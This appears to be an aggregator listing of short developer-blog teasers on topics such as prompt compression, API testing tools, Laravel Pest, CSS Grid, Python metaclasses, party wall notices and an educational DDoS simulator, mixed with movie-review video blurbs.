    Microsoft just solved the hidden cost problem in AI with LLMLingua, making large language models faster, cheaper, and smarter. Every developer working with large language models eventually faces the same challenge. Prompts keep getting longer, models keep getting slower, and API bills keep getting higher. Whether you’re building a retrieval-augmented generation(RAG) system or a chatbot that remembers past conversations, every extra token adds cost and latency. Microsoft quietly introduced a fix that few people outside research circles noticed, with a project called LLMLingua. It compresses prompts before sending them to a model, keeping only the most important information. The result is faster responses, smaller bills, and an easier path to scaling LLMs. In this tutorial, we will look at h…  ( 10 min )
    How Myle V5 Device Works – Guide for Beginners
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    Cómo funcionan las tecnologías de navegación en los robots aspiradores: LIDAR, cámaras y sensores
    La mayoría de robots aspiradores parecen iguales. A primera vista, cualquiera podría pensar que todos hacen lo mismo. Llevo más de 6 años poniendo a prueba este tipo de dispositivos en casas reales, y te aseguro algo: lo que de verdad diferencia a un robot aspirador bueno de uno mediocre no es la potencia, ni el ruido, ni la app llena de funciones. Es la navegación. La navegación es literalmente su cerebro. Por eso en este artículo quiero explicarte, de manera sencilla y sin tecnicismos innecesarios, cómo funcionan las tecnologías que permiten que un robot se oriente de verdad: LIDAR, cámaras, giroscopios y sensores. Si buscas precisión, estabilidad y rutas ordenadas, el LIDAR es la referencia. Un pequeño sensor gira sobre el robot emitiendo un láser en 360º. Ese láser mide distancias, det…  ( 8 min )
    Molecule Visualiser!
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    A New Era of Applications Begins Technology is evolving faster than ever, and businesses are under constant pressure to deliver seamless, scalable, and high-performing digital experiences. This shift has pushed many organizations to rethink how they build applications—and that’s where cloud native app development comes in. Far from being a buzzword, it represents a complete transformation in how modern apps are designed, deployed, and maintained. Cloud native app development empowers teams to build software that’s faster, more flexible, and inherently scalable. Instead of treating the cloud as just another hosting environment, it uses cloud technologies as the foundation for creating resilient and future-ready applications. What Exactly Is Cloud Native App Development? At its core, cloud n…  ( 7 min )
    Quick Recap: Databases
    There are different types of databases, each suited for different use cases. Relational Databases (RDBMS) Use structured tables with rows and columns. Follow ACID properties and use SQL for queries. Ideal for structured data and strong consistency. Examples: MySQL, PostgreSQL, Oracle, SQL Server Best when data relationships and integrity are critical. NoSQL Databases Designed for scalability and flexible schemas. Best suited for unstructured or rapidly changing data. They often sacrifice strict consistency for speed and scale (CAP theorem trade-offs). Types include: Key-Value (Redis, DynamoDB) → Fast lookup using a key, similar to a dictionary/map. Document (MongoDB, CouchDB) → Stores JSON-like documents with flexible schema. Column-Based (Cassandra, HBase) → Optimized for large-scale…  ( 7 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
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    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less takes you down the yellow brick road as CinemaSins revisits the 1978 musical now that Wicked’s back in theaters. In true Sin-oracle fashion, they point out every plot hole, production quirk and oddball moment faster than you can say “Ease on Down the Road.” Beyond the video, they’re plugging all the usual CinemaSins hotspots—website deep dives, YouTube spin-offs (@TVSins, @CommercialSins), a sinful poll, Patreon support and socials galore. Plus, they credit a crack team of writers (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel) and link to Discord, Reddit, Instagram, TikTok and even Jeremy’s book. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: Biggest Disney Bombs: The Sorcerer's Apprentice - Caravan of Garbage
    Modern Disney finds itself in a slump—Marvel and Star Wars outings are underperforming, and new originals like Wish and Elio barely register. But this isn’t unfamiliar territory: over the coming weeks, we’ll dive into four of Disney’s biggest live-action disasters. We kick things off with 2010’s The Sorcerer’s Apprentice. Picture Nicolas Cage, some half-baked magic, a massive bird and all the forgettable chaos that turned this film into a box-office and critical misfire. Watch on YouTube  ( 6 min )
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    In boardrooms across Silicon Valley, executives are making billion-dollar bets on a future where artificial intelligence doesn't just assist workers—it fundamentally transforms what it means to be productive. The promise is intoxicating: AI agents that can handle complex, multi-step tasks while humans focus on higher-level strategy and creativity. Yet beneath this optimistic veneer lies a more unsettling question. As we delegate increasingly sophisticated work to machines, are we creating a generation of professionals who've forgotten how to think for themselves? The answer may determine whether the workplace of tomorrow breeds innovation or intellectual dependency. The transformation has already arrived. Across industries, from software development to financial analysis, AI agents are dem…  ( 25 min )
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    AI Psychosis
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    ¿Tienes todos los patitos en línea?
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    Brainwash Your Agent: How We Keep The Memory Clean
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    Advanced Anti-Fingerprinting Protection
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    Top Postman Alternatives for API Testing in 2025
    Postman is popular, but many developers are exploring alternatives for lightweight testing, automation, or enterprise workflows. Here’s a curated list of top tools you can use in 2025. Type: GUI | Platforms: Mac, Windows, Linux | Open Source Highlights: Supports REST, GraphQL, gRPC Clean, intuitive interface Design-first workflows: variables, environments, Git sync Ideal for developers who want a visually clean tool with advanced workflow support. Type: Browser-based | Platforms: Web | Open Source Highlights: Minimal setup, no installation needed Supports REST, GraphQL, WebSocket Lightweight and fast Perfect for developers wanting a no-installation, fast API client. Type: VS Code Extension | Platforms: VS Code | Open Source Highlights: Test APIs without leaving VS Code Collections sto…  ( 7 min )
    From Signal to Success Lucid Software’s Journey as an Early Google Chat Integration Partner
    This session will dive deep into the real-world experience of being an early Google Chat integration partner. This session is ideal for developers and product managers looking to understand the strategic advantages and practical realities of building innovative solutions on the Google Workspace platform. This video was recorded at the Google Workspace Developer Summit in Sunnyvale on October 9, 2025. Watch the other sessions presented at the Google Workspace Developer Summit: https://www.youtube.com/playlist?list=PLDdffPXqmxKPfEJsp70kk-qSpNSVOt2uR Subscribe to our YouTube channel: https://www.youtube.com/@googleworkspacedevs/ Subscribe to our Google Workspace Developer Newsletter: https://developers.google.com/workspace/newsletters #googleworkspacedevelopersummit #googleworkspaceplatform #googlechat Follow youtube.com/@googleworkspacedevs  ( 6 min )
    🚀 ATS CV & Resume Optimization Track — CDSA Open Community
    🚀 ATS CV & Resume Optimization Track — CDSA Open Community Because your CV isn’t just a document — it’s your career weapon. Let’s sharpen it. What This Track Is About This track is built to help you create a real-world, recruiter-ready, ATS-friendly CV that actually passes screening systems and gets interviews. Whether you’re applying for tech roles (Dev, Cyber, AI, Data, Cloud) or non-tech roles, this track makes sure your CV is clean, structured, and aligned with international standards. 📄 What You’ll Learn ✔ How ATS (Applicant Tracking Systems) filter CVs Core Tools & Resources (Free) 1️⃣ Google Resume Template (Clean + ATS Friendly) Start with a globally recognized CV structure. Here 2️⃣ Jobscan — Test Your CV Against Real Job Descriptions Upload your CV + job description → Get your ATS score and improvements. Here 3️⃣ IBM ATS & Resume Writing Course (Free Certificate) Short, practical training that teaches CV structure, keywords, and ATS logic. Here Track Deliverables By the end of this track, you will have: ✅ A complete ATS-ready CV 70%+ This Track Is For You If… You’re job hunting You’re applying for internships, grad programs, or gigs You’re entering hackathons and need a clean bio You want a CV that actually gets read You’re switching careers into tech How This Track Works Start with the Google Template → build your base CV. Run it through Jobscan → fix the issues using the score report. Take IBM’s ATS course → understand the hiring logic. Get peer review inside the CDSA WhatsApp Community. Submit your final CV for certification in our community portal.  ( 7 min )
    Prepare for Granular OAuth Consent in Apps Script powered Add-ons and Chat Apps
    This session will discuss the coming change to granular OAuth scope consent, and how to prepare for it to ensure your app handles user selections gracefully. This video was recorded at the Google Workspace Developer Summit in Sunnyvale on October 9, 2025. Watch the other sessions presented at the Google Workspace Developer Summit: https://www.youtube.com/playlist?list=PLDdffPXqmxKPfEJsp70kk-qSpNSVOt2uR Get Dave's solution: https://github.com/dabouav/granularOAuth Subscribe to our YouTube channel: https://www.youtube.com/@googleworkspacedevs/ Subscribe to our Google Workspace Developer Newsletter: https://developers.google.com/workspace/newsletters #googleworkspacedevelopersummit #googleworkspaceplatform Follow youtube.com/@googleworkspacedevs  ( 6 min )
    Demystifying Service Accounts When, Why, and How to Use Them
    This session covers when and how to use service accounts when developing on the Google Workspace platform. We will also cover best practices you should be aware of. This video was recorded at the Google Workspace Developer Summit in Sunnyvale on October 9, 2025. Watch the other sessions presented at the Google Workspace Developer Summit: https://www.youtube.com/playlist?list=PLDdffPXqmxKPfEJsp70kk-qSpNSVOt2uR Subscribe to our YouTube channel: https://www.youtube.com/@googleworkspacedevs/ Subscribe to our Google Workspace Developer Newsletter: https://developers.google.com/workspace/newsletters #googleworkspacedevelopersummit #googleworkspaceplatform Follow youtube.com/@googleworkspacedevs  ( 6 min )
    Supercharge collaboration with Meet APIs
    This session will explore the exciting new capabilities offered by both the Meet API and the Meet Media API, empowering developers to extend and enhance the Meet experience within their own applications. This video was recorded at the Google Workspace Developer Summit in Sunnyvale on October 9, 2025. Watch the other sessions presented at the Google Workspace Developer Summit: https://www.youtube.com/playlist?list=PLDdffPXqmxKPfEJsp70kk-qSpNSVOt2uR Subscribe to our YouTube channel: https://www.youtube.com/@googleworkspacedevs/ Subscribe to our Google Workspace Developer Newsletter: https://developers.google.com/workspace/newsletters #googleworkspacedevelopersummit #googleworkspaceplatform Follow youtube.com/@googleworkspacedevs  ( 6 min )
    Beyond the Build: Navigating the Google Workspace Marketplace Review Process
    Do you want to confidently navigate the Marketplace review process and get your application approved efficiently? This session is your expert guide to demystifying critical stages like OAuth and brand verification, and the Cloud App Security Assessment (CASA). This video was recorded at the Google Workspace Developer Summit in Sunnyvale on October 9, 2025. Watch the other sessions presented at the Google Workspace Developer Summit: https://www.youtube.com/playlist?list=PLDdffPXqmxKPfEJsp70kk-qSpNSVOt2uR Subscribe to our YouTube channel: https://www.youtube.com/@googleworkspacedevs/ Subscribe to our Google Workspace Developer Newsletter: https://developers.google.com/workspace/newsletters #googleworkspacedevelopersummit #googleworkspaceplatform Follow youtube.com/@googleworkspacedevs  ( 6 min )
    Testing the Unofficial Docling Hierarchical PDF Processor
    GitHub code discovery adventures! 😉 For those who are familiar with my posts, you know that I spend a lot of time digging into all kinds of code, often maintaining subscriptions to far too many developer blogs and repositories. My recent rabbit hole began when I spotted the docling-hierarchical-pdf repository. Curious about its claims regarding robust PDF-to-Markdown conversion and document post-processing — especially since it’s not actually produced by the official Docling team — I decided to take it for a serious spin. What follows is my complete test, including setting up a recursive processing pipeline, and all the discoveries I made along the way. Disclaimer: The author/developer of the repository is Roman, Kayan (https://www.linkedin.com/in/roman-kreuzhuber/). Docling is an open-…  ( 9 min )
    AI has to go a long way to take a frontend developer job
    Business ideas you can snatch away Hello and welcome to the new blog I often don’t write the actual blog nowadays, because I am busy marketing the products I’ve been working on, but today I think to take some time to share a few things as business ideas and what’s working in the market. Just now at the time of writing, I’ve tried Gemini 3.0 PRO in Google AI Studio, and it was amazing, and most of the predictions are true that software development jobs are at stake, but not all. Few early adopters will certainly use AI studios and app builders, but most of the businesses in my experience are still working on an old tech-stack and quite a complex source code, which needs human intervention, and those types of people won’t leave the development space. A few other players, for example, solo en…  ( 9 min )
    Day 33 of My AI & Data Mastery Journey: From Python to Generative AI
    TODAY’S PROJECT Day 2 :- Create the ball and make it move, Detect collision with wall and bounce. Day 3 :- Detect collision with paddle, detect when paddle misses, keep score. All the code will be uploaded together in day 3. Target 1 :- Creating a ball. Target 2 :- Creating collision with y axis wall.  ( 7 min )
    Vibe Coding vs No-Code: Why This AI-Driven Approach Is a Game-Changer
    A few years ago, no-code platforms like Bubble and Webflow were considered revolutionary. They allowed non-developers to build simple apps using drag-and-drop interfaces. But today, vibe coding is taking that revolution to an entirely new level. Instead of clicking around a visual editor, you just describe what you want in plain English, and AI generates the code, UI, functionality—even backend logic. No-code tools helped democratize development, but they had limits. Most could only handle basic applications and weren’t built for scalability. Vibe coding breaks this limitation. Since AI generates development-grade code, you're no longer stuck with restricted templates or plugin configurations. For example, imagine prompting: “Build an AI-powered fitness tracking app with user registration, wearable integration, and a motivational UI that feels like Apple Fitness.” Within minutes, vibe coding tools like Cursor or Claude Code can produce functional prototypes. Developers can then refine, scale, and harden it for production. Startups love this because they can test MVPs faster, adapt quickly, and iterate without burning budget. Experienced developers use it as acceleration, not replacement.  ( 6 min )
    Laravel Testing Made Simple with Pest: Write Clean, Readable, and Fast Tests
    "Testing leads to failure, and failure leads to understanding."- Burt Rutan Testing is the backbone of reliable software, but let's be honest-traditional PHPUnit tests can feel verbose and intimidating. Enter Pest, a delightful PHP testing framework that brings simplicity, elegance, and speed to Laravel testing. If you've ever wished your tests could read like plain English while being powerful enough for complex scenarios, Pest is your answer. Pest offers cleaner syntax than PHPUnit with a functional, expressive API that reads like natural language Seamless Laravel integration with built-in support for database testing, HTTP requests, and authentication Faster test execution through parallel testing and optimized architecture Expectation API makes assertions intuitive with chainable metho…  ( 12 min )
    The Library Analogy That Makes APIs Finally Make Sense
    API? Yeah... we all pretend we know it If you've been around developers for more than five minutes, you've probably heard the word API being thrown around like it's salt of software engineering. I've used "API" in sentences, just hoping no one would ask, Honestly, the more you hear it, the more its meaning gets diluted. Every tutorial conveniently assumes that you've learned it in your past life. Then one random day - a perfect analogy dropped into my brain, Grab your imaginary library card - let's go! Picture this: you walk into your favorite library, fully ready to grab that one book you love. But you don't just sprint to the shelves, dive in, and start digging like a treasure hunter. In the real world, you go to the librarian. The librarian is the official, approved bridge between you…  ( 8 min )
    How to Choose the Right Party Wall Surveyor
    If your work touches a shared wall, digs close to a neighbour’s foundations, or changes a party structure, start by being able to describe the job in plain, exact terms. Say whether you are building on a boundary, removing a chimney, underpinning, excavating for a basement, or converting a loft. These are different jobs. The Party Wall etc. Act 1996 applies to specific kinds of works and whether it applies to you depends on the details. Draw a sketch, note measurements, list the sequence of contractor tasks and the expected start date. If you cannot explain your own project clearly, you will waste time and attract bad advice. A surveyor does more than fill in forms. They decide whether notices must be served. They prepare those notices correctly. If the neighbour dissents, they will prepar…  ( 10 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins takes a fun, snarky dive back down the yellow brick road now that Wicked’s back in theaters, pointing out every hilarious nitpick in The Wiz—faster than you can click your heels. For more sinful content and community shenanigans, hit up cinemasins.com or linktr.ee/cinemasins, subscribe to @TVSins, @commercialsins and their podcast network, and join them on Discord, Reddit, Instagram and TikTok. Big ups to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel! Watch on YouTube  ( 6 min )
    How to Disable Automatic Rearrangement of Desktops (Spaces) on Mac
    macOS offers a powerful feature called Spaces, which allows users to organize their open applications across multiple virtual desktops or workspaces. This helps maintain an organized workflow by separating projects or tasks into distinct environments. However, a feature that automatically rearranges these desktops based on your recent app usage can sometimes disrupt this organization. If you prefer your desktops to remain in a fixed order, it is essential to disable this auto-rearrangement. By default, macOS reorders your desktops (also called Spaces) so that the most recently used desktop appears next to your current one. While this can be useful for some people to quickly switch between frequently used spaces, it often causes confusion and breaks your muscle memory of where apps or docum…  ( 7 min )
    Building a DDoS Attack Simulator to Understand Defense Strategies
    I created an educational content piece for DevOps Daily and realized something: most explanations of DDoS attacks are either too abstract or too technical. We talk about "request floods" and "mitigation strategies," but it's hard to visualize what's actually happening. So I built an interactive simulator to help bridge that gap. When you're reading about DDoS protection, you see phrases like "distributes load across multiple servers" or "rate limiting prevents abuse." But what does that actually mean when thousands of requests are hitting your infrastructure? I wanted something that would help people - especially those newer to infrastructure work - actually see these concepts in action. You can try it here: devops-daily.com/games/ddos-simulator It lets you simulate three common attack typ…  ( 7 min )
    Introducing Business Directory Script — A Complete Base to Build Modern Directory Websites
    In many projects, the “directory” or “listing” module quietly becomes the most time-consuming part of the build. Business Directory Script. Most “directory builders” online are either: Listings support: Search is built for real-world directory usage: Each business/user gets: The admin can: Developers can easily plug in custom payment gateways. Users can leave: Every listing includes: The frontend layout is optimized for: Every developer can modify: This script is useful if you build: • Freelance developers Building a directory platform from scratch is repetitive work. This script removes the boilerplate so you can focus on the unique value of your project — not the basics everyone needs. If you want to explore, customize, or extend it, I’d love to hear your feedback and suggestions.  ( 8 min )
    How I Started Writing Unit Tests for Vue Components - Part 2
    So, it's been a year since the last article, and a lot has changed. In this one, we're going to talk about integrating with Mock Service Worker (MSW). I'll also describe what I tried to implement in my quest for system resilience - what worked out and what didn't. I can't say the time investment paid off in spades, but one thing's for sure - it definitely wasn't a waste of time. Here are the main areas where the tests really proved their worth: When contracts were lost or changed; Fixing the fallout from merge conflicts (given the quirks of our processes, this is the most common scenario); Refactoring (it's hard to be objective here since our project's test coverage isn't huge, but before any refactoring, I try to at least cover the code with local tests). Then again, all those fancy thing…  ( 9 min )
    REST Assured API Testing: Complete Beginner’s Tutorial
    Because APIs play such a big role, testing them isn’t optional anymore… it’s essential. If you’re someone who wants to learn API automation from scratch but doesn’t want to get overwhelmed, then REST Assured is one of the best places to start. It’s simple, Java-based, powerful, and widely used in real QA projects. In this beginner-friendly guide, we’ll walk through what REST Assured is, why it’s popular, how to set it up, and how to write your first API test—even if you’ve never touched API automation before. Let’s jump right in. ** ** REST Assured is a Java library built specifically for testing RESTful APIs. send API requests validate API responses automate API test cases It works beautifully with TestNG, Maven, and CI/CD pipelines, which is why many companies use it as part of their qa…  ( 9 min )
    A IA está sabotando sua evolução? Velocidade de Entrega vs Profundidade de Aprendizado
    English Version Você entregou a feature em tempo recorde. O código está organizado, tipado e passou nos testes. O PR foi aprovado. Você se sente invencível por ter finalizado sua sprint sem grandes esforços. Mas seja sincero com você mesmo por um segundo: se o Cursor, Copilot ou outra IA qualquer que você tenha utilizado durante o desenvolvimento tivesse ficado offline hoje, você teria conseguido escrever aquela solução de manipulação de streams complexa? Ou aquela regex de validação? Ou a configuração do Dockerfile? Estamos vivendo a "Era de Ouro" da produtividade no desenvolvimento. Ferramentas de IA não são apenas assistentes, elas são catalisadores de força. Elas nos permitem pular a parte chata, o boilerplate, a sintaxe que esquecemos. Mas existe um efeito colateral silencioso acontec…  ( 10 min )
    Is AI Sabotaging Your Career Growth? Delivery Speed vs. Learning Depth
    Portuguese Version You shipped the feature in record time. The code is organized, well-typed, and passed the tests. The PR was approved. You feel invincible for having finished your sprint without much effort. But be honest with yourself for a second: if Cursor, Copilot, or any other AI tool you used during development had gone offline today, would you have been able to write that complex stream manipulation solution? Or that validation regex? Or the Dockerfile configuration? We are living in the "Golden Age" of development productivity. AI tools are not just assistants; they are force multipliers. They allow us to skip the boring part, the boilerplate, the syntax we've forgotten. But a silent side effect is happening, affecting everyone from interns to seasoned developers: the outsourcing…  ( 9 min )
    LightRAG Tutorial: Getting Started with Knowledge Graph-Based RAG
    This tutorial walks through setting up and using LightRAG, a retrieval-augmented generation system that combines knowledge graphs with vector search for document retrieval. LightRAG is a RAG (Retrieval-Augmented Generation) system that builds knowledge graphs from your documents. Unlike classical RAG systems that rely solely on vector similarity search, LightRAG extracts entities and relationships from documents to create a structured knowledge graph, then uses both the graph and vector search for retrieval. Classical RAG: Uses vector embeddings to find semantically similar document chunks Retrieval is based on cosine similarity between query and document vectors No structured understanding of entities or relationships LightRAG: Extracts entities (people, organizations, concepts) and relat…  ( 9 min )
    Understanding Virtual Accounts with Flutterwave
    If you’ve ever tried collecting payments from customers across different African countries, you know how tricky it can get, especially when dealing with local payments. Nigerians prefer bank transfers, Kenyans rely on M-Pesa, Ghanaians use Mobile Money, and South Africans lean toward cards or electronic fund transfers (EFTs). Even within a single country, customers still use different payment methods. Africa’s complex payment ecosystem makes it hard for businesses to manage and reconcile incoming payments efficiently. That’s where virtual account management comes in. They simplify things by bringing all payment methods into one unified flow that’s easier to track and reconcile. In this guide, you’ll learn what virtual accounts are, how they work, and how to integrate them into your applica…  ( 11 min )
    Understanding the Party Wall Notice: When You Need It and How to Serve It Properly
    If you’re planning home improvements — an extension, loft conversion, underpinning, or even installing a new garden wall — you might think about foundations, planning permission, or building regs. But one legal step that catches many people out is the Party Wall Notice. Ignoring it isn’t just risky; it can delay work, lead to disputes, or force costly remedial measures. This guide explains in plain English when a Party Wall Notice is required, how to prepare and serve one properly, what to expect afterwards, and how getting the process right can protect your project, your neighbours, and your sanity. A Party Wall Notice is a formal, written notification served on an adjoining owner when proposed works fall under the Party Wall etc. Act 1996. The notice explains the planned work, the propo…  ( 9 min )
    Stop Using `?.` Everywhere - You're Hiding Your Bugs
    Why optional chaining is making your JavaScript harder to debug The optional chaining operator (?.) is one of the most convenient features in modern JavaScript. It's saved us countless lines of defensive null-checking code and made our codebases cleaner. But like any powerful tool, it can be misused—and when it is, it transforms from a helpful safeguard into a bug-hiding machine. Use ?. only where it's actually okay for something not to exist. This sounds simple, but in practice, I see developers (including past me) sprinkling ?. everywhere like it's syntactic sugar with no side effects. The truth is, every time you use optional chaining, you're making a statement about your data contract: "This might not exist, and that's fine." Let's look at a common scenario in a user profile dashboard:…  ( 9 min )
    Build Your MVP: Find the Right Technical Co-Founder
    Build Your MVP: Find the Right Technical Co-Founder Building your Minimum Viable Product (MVP) is a critical step in bringing your startup vision to life. But without the right technical talent, your great idea might stay just that—an idea. Here are three strategies to find the perfect technical co-founder and early team members. 1. Know What You're Looking For Before you start your search, define what skills and expertise your project needs. Is it a web developer, a mobile app expert, or a data scientist? Clarifying this can streamline your hunt and prevent future mismatches. 2. Tap into Your Network Use your existing network to reach out to potential candidates. Attend industry events, join online forums, and leverage social media platforms like LinkedIn. Personal connections often lead to trustworthy and motivated team members. 3. Leverage AI Matching Platforms like LeKlub-AI can help you find the ideal technical partner by using sophisticated AI algorithms to match you with co-founders who align with your project goals and culture. This can save you time and help you identify candidates you might not find through traditional means. Building a successful MVP requires more than just a great idea—it requires the right team. Consider these tips and streamline your search process with the power of AI. Ready to find your perfect technical co-founder? Give LeKlub-AI a try today!  ( 6 min )
    A First Look at the Phoenix Framework
    As a .NET developer embarking on a journey to learn Elixir, one of the first questions is: "How do I build a web API?" In the Elixir ecosystem, the answer is overwhelmingly the Phoenix Framework. If you're familiar with ASP.NET Core, you'll find Phoenix to be a powerful and elegant counterpart. In this article, I'll break down the key components of Phoenix and draw comparisons to the .NET world to help frame my understanding. Phoenix is the web development framework for the Elixir language. It allows you to build modern web applications, including Web APIs, Web Sockets (for real-time functionality), and traditional Model View Controller (MVC) apps. In the Microsoft world, it is the direct equivalent of ASP.NET Core. Phoenix is known for high developer productivity and exceptional applicati…  ( 9 min )
    Um Primeiro Olhar sobre o Framework Phoenix
    Como desenvolvedor .NET embarcando em uma jornada para aprender Elixir, uma das primeiras perguntas é: "Como construo uma API web?" No ecossistema Elixir, a resposta é predominantemente o Framework Phoenix. Se você está familiarizado com ASP.NET Core, verá que o Phoenix é uma contraparte poderosa e elegante. Neste artigo, vou detalhar os componentes-chave do Phoenix e fazer comparações com o mundo .NET para ajudar a estruturar meu entendimento. Phoenix é o framework de desenvolvimento web para a linguagem Elixir. Ele permite que você construa aplicações web modernas, incluindo APIs Web, Web Sockets (para funcionalidade em tempo real) e aplicativos tradicionais Model View Controller (MVC). No mundo Microsoft, ele é o equivalente direto do ASP.NET Core. Phoenix é conhecido por alta produtivi…  ( 10 min )
    [Boost]
    📢 We're opening a list of community projects! You can participate. Anthony Max for HMPL.js ・ Nov 20 #webdev #javascript #programming #opensource  ( 5 min )
    [Boost]
    📢 We're opening a list of community projects! You can participate. Anthony Max for HMPL.js ・ Nov 20 #webdev #javascript #programming #opensource  ( 5 min )
    Closed Anonymity
    Summary The downside of using real names is the constant need for consideration, which is inherently burdensome. This makes it challenging to focus on essential discussions. While psychological safety is emphasized, building and maintaining it is daunting and often insufficient on its own. This is where "closed anonymity" comes into play. While we want to use anonymity to avoid the inherent burden of real names, we also want to ensure governance. Thus, "being anonymous within a specific organizational scope" is the balance we aim for. Even today, we work under our real names. Needless to say, using real names is burdensome. This is because, with clear visibility of ourselves and others, we must constantly be considerate in our speech and actions. We could say there is a constant hea…  ( 8 min )
    n8n: A Great Starting Point, But Not Where Real Engineering Lives
    Low-code platforms like n8n have gained popularity among beginners, freelancers, and non-technical users exploring automation and AI workflows. They promise fast development, visual orchestration, and “code-optional” integration. For many, n8n is their first exposure to automation and their first glimpse into how software engineers think. And that is its true strength: n8n is an excellent learning and experimentation tool, not an engineering platform. Just like WordPress introduces people to websites, n8n introduces people to automation. It is ideal for exploring concepts, but it is not where scalable, maintainable, production-grade systems are built. If you're new to software automation—or even if you're 10 years old and curious about how software workflows behave—n8n is a great place to …  ( 8 min )
    How Figma Make is Closing the 'Idea-to-Proof' Gap
    Every product team knows the tension between speed and clarity. Moving from a concept on a slide to something people can actually test is often slow, expensive, and fragmented. That gap between what we imagine and what we can demonstrate is where many good ideas stall. Figma Make enters this space with a bold promise: to compress the distance between idea and proof, giving teams the power to build realistic, functional prototypes directly from their designs. As a product designer, I live in the idea-to-pitch loop with a constant question: How do I make my teammates or clients see what I see? Mockup help. Words help. But they’re not enough. Whether it be pitching to investors, scoping with clients, or aligning internal teams, ideas are always easy to talk about, but hard to show. We're st…  ( 9 min )
    How CSS Grid Changed the Way I Build Web Layouts
    I remember the first time I tried building a multi-section landing page. Everything seemed fine until I had to align cards, features, and hero sections across different screen sizes. Flexbox was great, it helped me align items neatly along a row or a column. Buttons were easy to center, cards aligned without stress, and navigation bars looked clean. But when it came to arranging rows and columns simultaneously, I felt like I was juggling invisible boxes. At that point, I realized that while Flexbox is incredibly useful, it wasn’t enough for some layouts I wanted to build. That’s when I discovered CSS Grid, and it felt like a whole new world opened up. Suddenly, I could control both rows and columns, manage spacing effortlessly, and create layouts that scaled beautifully on different device…  ( 14 min )
    Branding Case Study: How Neil Patel Turned His Name into the Ultimate SEO Tool
    In the wild world of Search Engine Optimization (SEO), the competition is usually dominated by software with super technical or keyword heavy names. You know the type: "SEO Master Pro," or "Keyword Elite." But then, there is one phenomenon that challenges all the rules: Neil Patel. It’s not "The Ultimate SEO Analyzer" this dominant service is widely known purely by the power of its founder's name. The success of Ubersuggest isn't just about sophisticated algorithms; it’s a masterclass in personal branding. In the digital realm, tools usually rely on descriptive names. Neil Patel and Ubersuggest took a different, far more effective route. Here is the breakdown: Neil Patel isn't just selling an SEO tool; he is selling his expertise in the form of a tool. Because he spent years building an i…  ( 7 min )
    Introduction to Python Metaclasses
    Metaclasses are one of those Python features that sound complicated but are actually based on a simple idea: Classes create objects. That’s it. When you write: class User: pass the class User is actually an object, and Python needs something to build that object. print(type(User)) Output: So type is the “class-maker.” Why Would You Ever Use a Metaclass? Most people never do — and that’s fine. But frameworks like Django, SQLAlchemy, and Pydantic use metaclasses to: add extra attributes to classes validate or modify classes at creation time automatically register subclasses build features with less boilerplate A metaclass lets you run logic when the class is created, not when it runs. A Basic Metaclass Example This metaclass prints the name of the class being created: class LoggerMeta(type): def __new__(cls, name, bases, attrs): print("Creating:", name) return super().__new__(cls, name, bases, attrs) Using it: class Example(metaclass=LoggerMeta): pass When the file loads, it prints: Creating: Example Because the metaclass runs before the class exists. Adding Automatic Attributes A more practical example: class InfoMeta(type): def __new__(cls, name, bases, attrs): attrs["source"] = "auto" return super().__new__(cls, name, bases, attrs) Usage: class Product(metaclass=InfoMeta): pass print(Product.source) Output: auto The metaclass quietly added the attribute. When to Use Metaclasses Use them only when you need to control how classes are built — usually in libraries or frameworks. Normal applications almost never need them.  ( 6 min )
    From a $440M Exit to Building the "GitHub for IP": The Story Protocol Journey
    You'll need lawyers, lengthy contracts, expensive legal battles, and even then, once your work is online, tracking who's using it is nearly impossible. And don't even get me started on AI companies scraping your content to train their models without asking permission or paying you a dime. Enter S.Y. Lee—a Korean entrepreneur who sold his last startup for $440 million and decided his next mission would be to fix the entire broken system of intellectual property. The result? Story Protocol, a blockchain that just launched in February 2025 and is already valued at $2.25 billion. This is the story of how a serial founder, a Google DeepMind product manager, and a team of absolute grinders built what they're calling "programmable IP"—and why it might just change how every creator, artist, and AI…  ( 15 min )
    JavaScript Closures Finally Clicked!
    You know that moment when you’ve read the same MDN paragraph 17 times and closures still feel like black magic? Same story here. Every JavaScript dev hits this wall at some point, especially with modern React, custom hooks, event handlers, and AI-driven tooling becoming more closure-heavy in 2025. But once closures “click”, your debugging skill skyrockets. In this article, I will give you the explanation I wish someone had told me years ago, simple, practical, and free of textbook jargon. Let’s break this down. A closure is a function that remembers where it was born. That’s it. Even when it leaves its original home, a closure keeps access to the variables that were around during its creation. Here’s the catch: “memory” survives even after the outer function finishes running. Imagine you’r…  ( 8 min )
    Architecting Resilient Caching in Symfony: Beyond get() and set()
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    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
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    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
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    Mr Sunday Movies: Biggest Disney Bombs: The Sorcerer's Apprentice - Caravan of Garbage
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    AWS Multi-Account Guardrails: A Complete Blueprint for Secure, Automated Cloud Governance
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    How a Cat, Panpsychism, and Late-Night Videos Helped Me Create a Tool That Will Save You 87% of Your AI Development Time
    2:47 AM. Phone vibrating... I turned on the screen expecting a notification, but instead saw a strange video, filmed as if through an old VHS tape. A person on screen spoke quietly, almost in a whisper: "If everything has consciousness... even a brick... even this table... then where do I end?" This was two days after a black cat had wreaked havoc in our kitchen. And an hour after I'd deleted all the text of a song for the hundredth time—a song I was trying to write about that incident. I wanted to write a song about that morning—about the cat-bandit, about my rage, about the strange insight that came later. But the words wouldn't come. I turned to AI: "Write a song about a cat that made a mess in the kitchen" The results were predictably awful—cliché rhymes, flat emotions, none of the d…  ( 9 min )
    What Is Asset Health in IT Asset Management?
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    In the AI Wind, Even Pigs Can Fly? — A Developer's Reality Check in 2025
